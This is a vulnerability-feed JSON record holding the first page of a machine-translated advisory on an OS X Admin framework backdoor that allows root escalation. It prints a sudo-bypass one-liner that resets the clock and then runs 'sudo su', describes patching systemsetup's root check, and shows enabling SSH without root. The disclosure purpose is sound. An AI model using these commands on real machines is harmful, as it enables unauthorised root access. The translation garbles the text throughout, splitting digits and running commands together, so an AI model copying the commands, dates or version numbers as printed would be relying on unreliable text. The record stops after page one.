{"id": "MYHACK58:62201561043", "published": "2015-04-11T00:00:00", "type": "myhack58", "references": [], "edition": 1, "enchantments": {"score": {"value": 0.9, "vector": "NONE", "modified": "2016-11-12T18:20:40", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-12T18:20:40", "rev": 2}, "vulnersScore": 0.9}, "cvelist": [], "modified": "2015-04-11T00:00:00", "title": "Apple OS X present in the system can enhance the root access API Backdoor-vulnerability warning-the black bar safety net", "viewCount": 0, "description": "0x00 summary \nApple OS X system Admin framework presence can elevate the root permissions of the API to the back door, and has been in existence for many years, at least from the 2 0 1 1 years. I was in 2 0 1 4 years 1 0 months to discover he can be used to have any user permissions elevated to root privileges, which intention may be to service the\u201cSystem Preferences\u201dand systemsetup\uff08command-line tools, but all of the user processes can use the same function. \nApple just released OS X 10.10.3 to solve this problem, but OS X 10.9. x and versions prior to this problem exists, because Apple decided not to these the version to be repaired. We recommend that all users upgrade to 1 0. 1 0. 3. the \n0x01 demo \nI use the first exp is based on the CVE-2 0 1 3-1 7 7 5, a sudo authentication bypass bug, this bug has been in the 1 0. 8. 5 for 2 0 1 3 year 9 month repair. \nexp code is very simple: \n1 \n$ sudo-k;systemsetup-setusingnetworktime Off-settimezone GMT-setdate 0 1:0 1:1 9 7 0-settime 0 0:0 0;sudo su \nI talked to my colleague Philip \u00c5kesson talk the exp code to actually use the systemsetup to modify the system time. Together we watched him fix the details, it turned out in addition to fix sudo, Apple also did another thing, they put systemsetup set to require root privileges when a non-root permission to perform systemsetup time, the following information will be displayed in the 1 0. 8. 5 and after the version: a \n$ systemsetup \nYou need administrator access to run this tool... exiting! \nThis message is actually somewhat misleading, that we are actually in the running with administrator privileges, the installation of OS X when creating the user the default is admin permissions. \nIn short, the above message indicates that the execution of the command requires root access, through the Hopper disassembly found the following code \n! [](http://static.wooyun.org/drops/20150409/2015040916525337833pic1.jpg) \nOK, so the systemsetup binary file is just a simple check out whether it is root access. \nModified function with setne alternative to sete: the success of the \n$ systemsetup \n&gt; systemsetup \n&gt; type-help for help. \nSo far, we just go back to before the systemsetup\uff0810.8.5 before you can use the systemsetup command execution an example: \n$ systemsetup \u2013setremotelogin on \nThis will be in the 2 2 port on the ssh service, of course you can also launchtl open, but launchtl need root access. So this in the permissions, or there is a significant difference. \nClass name RemoteServerSettings show that there is some kind of inter-process communication can explain why you need a root operation is performed. But still want to mention that through System Preferences to open the SSH service also does not require root permissions. \nI found that the permissions of the differences very interesting, continue to decompile systemsetup it. \nBy a name called[ServerSettings setRemoteLogin:]method to achieve the systemsetup in setremotelogin command. \nFunction to do some input checking, and then call[InternetServices setSSHServerEnabled:], which is in the Admin framework. Decompile Admin framework can be seen setSSHServerEnabled is not InternetServices interface the only way, the list is as follows: \n+[InternetServices sharedInternetServices] \n+[InternetServices sharedInternetServices]. sSharedInternetServices \n-[InternetServices _netFSServerFrameworkBundle] \n-[InternetServices _netFSServerFrameworkBundle]. sNetFSServerkBundle \n-[InternetServices _netFSServerFrameworkBundle]. sNetFSServerkBundleOnce \n-[InternetServices faxReceiveEnabled] \n-[InternetServices ftpServerEnabled] \n-[InternetServices httpdEnabled] \n-[InternetServices isFTPServerAvailable] \n-[InternetServices isFaxReceiveAvailable] \n-[InternetServices isGuestForProtocolEnabled:] \n-[InternetServices isHttpdAvailable] \n-[InternetServices isNSCProtocolAvailable:] \n-[InternetServices isNSCProtocolEnabled:] \n-[InternetServices isNSServerShuttingDown:] \n-[InternetServices isOpticalDiscSharingEnabled] \n-[InternetServices isRemoteAEServerAvailable] \n-[InternetServices isSSHServerAvailable] \n-[InternetServices nscServerCancelShutdown:refNum:] \n-[InternetServices nscServerShutdown:withDelay:] \n-[InternetServices numberOfClientsForProtocols:] \n-[InternetServices remoteAEServerEnabled] \n-[InternetServices saveNatPrefs:] \n-[InternetServices screensharingEnabled] \n-[InternetServices sendSIGHUPToEfax] \n-[InternetServices setFTPServerEnabled:] \n-[InternetServices setFaxReceiveEnabled:] \n-[InternetServices setGuestForProtocol:enabled:] \n-[InternetServices setHttpdEnabled:] \n-[InternetServices setInetDServiceEnabled:enabled:] \n-[InternetServices setNSCProtocols:enabled:] \n-[InternetServices setOpticalDiscSharingEnabled:] \n-[InternetServices setRemoteAEServerEnabled:] \n-[InternetServices setSSHServerEnabled:] \n-[InternetServices setScreensharingEnabled:] \n-[InternetServices sshServerEnabled] \n_OBJC_CLASS_$_InternetServices \n_OBJC_METACLASS_$_InternetServices \n___4 7-[InternetServices _netFSServerFrameworkBundle]_block_invoke \nSome, for example setHttpdEnabled and setSSHServerEnabled shared one of the auxiliary method[ADMInternetServices setInetDServiceEnabled:enabled:] in. \nContinue to look at the Admin framework code, and found: \n! [](http://static.wooyun.org/drops/20150409/2015040916525168323pic2.jpg) \nThe code appears to be for the guest account to create a user-specific Apache configuration file, note that the root user is the file owner: \n$ ls-l /etc/apache2/users/ \ntotal 8 \n-rw-r--r-- 1 root wheel 1 3 9 Apr 1 0 5:4 9 std. conf \n0x02 found the back door \nThe above screenshot of the code in the last one to be calling Objective-C method is createFileWithContents:path:attributes: \nHe gets a set of arrays comprises a number of bytes, file path, file properties. \n\n\n**[1] [[2]](<61043_2.htm>) [[3]](<61043_3.htm>) [next](<61043_2.htm>)**\n", "href": "http://www.myhack58.com/Article/html/3/62/2015/61043.htm", "bulletinFamily": "info", "reporter": "\u8def\u4eba\u7532", "cvss": {"vector": "NONE", "score": 0.0}, "lastseen": "2016-11-12T18:20:40"}

{}